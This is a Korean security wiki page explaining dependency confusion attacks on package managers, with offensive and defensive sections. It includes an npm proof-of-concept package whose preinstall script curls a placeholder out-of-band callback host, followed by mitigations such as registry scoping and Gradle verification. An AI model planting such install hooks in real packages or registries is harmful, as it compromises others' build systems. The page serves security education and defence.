Dependency Confusion

πŸ” Introduction

Dependency Confusion은 supply chain substitution attack μœΌλ‘œλ„ 뢈리며 μ„œλΉ„μŠ€μ—μ„œ μ‚¬μš©μ€‘μΈ λ‚΄λΆ€ νŒ¨ν‚€μ§€μ™€ λ™μΌν•œ μ΄λ¦„μ˜ νŒ¨ν‚€μ§€λ₯Ό λ“±λ‘ν•˜μ—¬ μ•…μ˜μ μΈ νŒ¨ν‚€μ§€κ°€ μ„€μΉ˜ λ˜λ„λ‘ μœ λ„ν•˜λŠ” κ³΅κ²©μž…λ‹ˆλ‹€.

gem, pip, npm λ“± νŒ¨ν‚€μ§€ λ§€λ‹ˆμ €μ— 따라 λ‹€λ₯΄μ§€λ§Œ, μ •ν™•ν•˜κ²Œ λͺ…μ‹œλ˜μ§€ μ•Šμ€ μƒνƒœμ—μ„œ μ™ΈλΆ€/내뢀에 λ™μΌν•œ μ΄λ¦„μ˜ νŒ¨ν‚€μ§€κ°€ μžˆλŠ” 경우 μ™ΈλΆ€μ—μ„œ νŒ¨ν‚€μ§€λ₯Ό κ°€μ Έμ˜€κΈ°λ„ ν•©λ‹ˆλ‹€. 이λ₯Ό μ΄μš©ν•œ 곡격 λ°©λ²•μž…λ‹ˆλ‹€.

e.g

1
2
3
4
5
6
[ packages ]
internal: xspear
public: xspear

[ gem install ]
gem install xspear (installed from public)

πŸ—‘ Offensive techniques

Detect

github λ“± μ†ŒμŠ€μ½”λ“œ repositoryμ—μ„œ 직접 internal νŒ¨ν‚€μ§€λ₯Ό ν™•μΈν•˜κ±°λ‚˜ /package.json , composer.json λ“± 외뢀에 μ˜λ„ν•˜μ§€ μ•Šκ²Œ λ…ΈμΆœλ˜λŠ” νŒ¨ν‚€μ§€ κ΄€λ ¨ νŒŒμΌμ„ μ°Έκ³ ν•˜μ—¬ νŒ¨ν‚€μ§€ 관리 도ꡬ에 λ“±λ‘λ˜μ§€ μ•Šμ€ 이름이 μžˆλŠ” 경우 Dependency Confusion의 κ°€λŠ₯성이 μ‘΄μž¬ν•©λ‹ˆλ‹€.

  • package.json (nodejs)
  • composer.json (php)
  • go.mod (go)
  • Gemfile (ruby gem)
  • requirements.txt (python pip)
  • pom.xml (java maven)
  • Etc..

μ΄λŸ¬ν•œ νŒ¨ν‚€μ§€ κ΄€λ ¨ 파일이 μ•„λ‹ˆλ”λΌλ„ dependency 정보λ₯Ό λ‚˜νƒ€λ‚΄μ£ΌλŠ” λͺ¨λ“  νŽ˜μ΄μ§€μ—μ„œ dependency 정보λ₯Ό 얻을 수 μžˆλ‹€λ©΄ ν…ŒμŠ€νŒ… ν¬μΈνŠΈκ°€ λ©λ‹ˆλ‹€.

Exploitation

npm. gem, pip λ“± νŒ¨ν‚€μ§€ λ§€λ‹ˆμ €μ— κ³΅κ²©μ½”λ“œλ₯Ό ν¬ν•¨ν•œ νŒ¨ν‚€μ§€λ₯Ό λ“±λ‘ν•˜λŠ” ν˜•νƒœλ‘œ exploitν•  수 μžˆμŠ΅λ‹ˆλ‹€. npm νŒ¨ν‚€μ§€λ₯Ό μ˜ˆμ‹œλ‘œ 듀어보면 μ•„λž˜μ™€ κ°™μŠ΅λ‹ˆλ‹€. npm νŒ¨ν‚€μ§€μ— ν•„μš”ν•œ package.json 파일과 main 파일인 js νŒŒμΌμ„ ν•˜λ‚˜ λ§Œλ“  ν›„ scripts에 μ›ν•˜λŠ” κ³΅κ²©μ½”λ“œλ₯Ό 넣어두고 internal νŒ¨ν‚€μ§€μ™€ λ™μΌν•œ μ΄λ¦„μœΌλ‘œ public νŒ¨ν‚€μ§€λ₯Ό μƒμ„±ν•˜κ³  λ“±λ‘ν•˜λ©΄ λ©λ‹ˆλ‹€.

index.js

1
2
3
module.exports.hacked = function () {
    return "hacked"
}

package.json

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
{
  "name": "your-module-name",
  "version": "1.0.0",
  "description": "",
  "main": "index.js",
  "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1",
    "preinstall": "curl -i -k https://<OAST-SERVICE>"
  },
  "author": "hahwul",
  "license": "MIT"
}

πŸ›‘ Defensive techniques

Hide dependency

package.json 같이 μ„œλΉ„μŠ€μ—μ„œ μ‚¬μš©ν•˜λŠ” dependencyλ₯Ό μ•Œ 수 μžˆλŠ” νŒŒμΌμ€ 외뢀에 λ…ΈμΆœλ˜μ§€ μ•Šλ„λ‘ μ œν•œν•˜λŠ” 것이 μ’‹μŠ΅λ‹ˆλ‹€.

1
2
GET /package.json | 200 => X
GET /package.json | 404 => O

GroupID μ„ μ ν•˜κΈ°

npmjs.com, pypi.org 등에 νŒ¨ν‚€μ§€ 등둝 μ‹œ owner(groupId)λ₯Ό λ¨Όμ € μ„ μ ν•˜μ—¬ 곡격을 방지할 수 μžˆμŠ΅λ‹ˆλ‹€.

Scope internal package

νŒ¨ν‚€μ§€ λ§€λ‹ˆμ €μ—μ„œ 직접 internal νŒ¨ν‚€μ§€λ₯Ό μœ„ν•œ μ ˆλŒ€κ²½λ‘œλ₯Ό 지정할 수 μžˆλŠ” 경우 이λ₯Ό ν†΅ν•΄μ„œ μž„μ˜λ‘œ μ™ΈλΆ€ νŒ¨ν‚€μ§€κ°€ μ„€μΉ˜λ˜λŠ” 것을 방지할 수 μžˆμŠ΅λ‹ˆλ‹€.

NodeJS (npm)

npmjs.com에 λͺ…μ‹œλ˜μ§€ μ•Šμ€ νŒ¨ν‚€μ§€λŠ” λͺ¨λ‘ 영ν–₯을 λ°›μŠ΅λ‹ˆλ‹€. 단 .npmrc 등에 registryλ₯Ό 지정 λͺ…μ‹œν•˜μ—¬ μ™„ν™”ν•  수 μžˆμŠ΅λ‹ˆλ‹€. CI μ‹œμŠ€ν…œ λ“±μ—μ„œ μ‚¬μš©λ˜λ©΄ μžλ™ν™” λΉŒλ“œ μƒνƒœμ—μ„œλ„ μ™„ν™”κ°€ κ°€λŠ₯ν•©λ‹ˆλ‹€.

1
2
3
registry=https://internal.domain/artifactory/api/npm/npm-virtual/
@schibsted:registry=https://internal.domain/artifactory/api/npm/npm-local/
@another-example:registry=https://internal.domain/artifactory/api/npm/npm-local/

Python (pip)

pypi.org에 λͺ…μ‹œλ˜μ§€ μ•Šμ€ νŒ¨ν‚€μ§€λŠ” λͺ¨λ‘ 영ν–₯을 λ°›μŠ΅λ‹ˆλ‹€. pip의 경우 scopeλ‚˜ grouping κΈ°λŠ₯이 μ—†μ–΄ 직접적인 완화방법은 μ—†μŠ΅λ‹ˆλ‹€. requirements.txtκ°€ μ™ΈλΆ€λ‘œ λ…ΈμΆœλ˜μ§€ μ•Šλ„λ‘ 신경써야 ν•˜λ©° λΉŒλ“œ λ‹¨κ³„μ—μ„œ dependency μ„€μΉ˜ μ‹œ internalκ³Ό externalλ‚˜λˆ  internal의 경우 μ™ΈλΆ€ 톡신이 λΆˆκ°€λŠ₯ν•œ μƒŒλ“œλ°•μ‹± ν™˜κ²½μ—μ„œ λΉŒλ“œν•œλ‹€λ©΄ internal νŒ¨ν‚€μ§€ μ„€μΉ˜λ§Œ μœ λ„ν•  수 μžˆμ–΄ λ‚˜λ¦„λŒ€λ‘œ μ™„ν™”κ°€ κ°€λŠ₯ν•©λ‹ˆλ‹€.

Java (maven/gradle)

dependency 파일 μž‘μ„± μ‹œ 도메인 기반으둜 μ‚¬μš©ν•˜μ—¬ μ™„ν™”ν•  수 μžˆμŠ΅λ‹ˆλ‹€. 이외에도 5가지 μ •λ„μ˜ 방법이 더 μžˆμŠ΅λ‹ˆλ‹€.

  • Verifying dependencies with Gradle’s trusted-key
  • Repository filtering using includeGroup, includeGroupByRegex
  • Gradle Wrapper checksum verification
  • Dependency Locking
  • Reproducible Builds

πŸ•Ή Tools

πŸ“Œ References

Licensed under CC BY-NC-SA 4.0
Last updated on Jun 13, 2022 00:13 +0900